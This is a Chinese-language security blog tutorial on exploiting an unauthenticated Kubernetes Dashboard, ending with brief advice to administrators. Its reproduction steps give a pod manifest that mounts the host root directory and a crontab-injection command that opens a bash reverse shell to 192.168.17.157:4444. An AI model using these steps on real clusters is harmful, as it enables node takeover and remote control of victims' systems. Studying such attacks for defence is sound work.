文章前言
K8s Dashboard是Kubernetes的一个Web UI,它提供了一个用户友好的界面来管理和监控Kubernetes集群。它可以让用户通过图形化界面查看Kubernetes集群的状态和健康状况、创建、删除和修改资源对象、查看日志和监控数据等。K8s Dashboard还支持在多个集群之间进行切换,并提供了一些插件和扩展功能来增强其功能,本篇文章我们主要介绍K8s Dashboard的利用
漏洞描述
K8s Dashboard默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录直接进入Dashboard,而且有时候可以直接访问K8s DashBoard,在这种情况下攻击者可以通过部署恶意Pod实现控制节点的目的
漏洞复现
K8s DashBoard未授权访问:
宿主Shell
Step 1:通过WEB UI界面创建一个pod,并将本地根目录挂载到pod的/mnt目录中
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
Step 2:之后可以看到创建的myapp Pod
Step 3:之后进入挂载的/mnt目录中,就是master节点的对应目录了
Step 4:之后写计划任务
echo -e \\\"* * * * * root bash -i >& /dev/tcp/192.168.17.157/4444 0>&1\\\\n\\\" >> /mnt/etc/crontab
Step 5:成功反弹shell
文末小结
在本文中,我们介绍了K8s Dashboard的作用和功能,以及它在未授权访问的情况下存在的安全风险。我们强调了Kubernetes集群管理员需要加强对K8s Dashboard的管理和安全控制,以确保不会发生未授权访问的情况。同时,我们也提醒用户在使用K8s Dashboard时要注意安全,避免将敏感信息泄露给未经授权的访问者。
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34183.html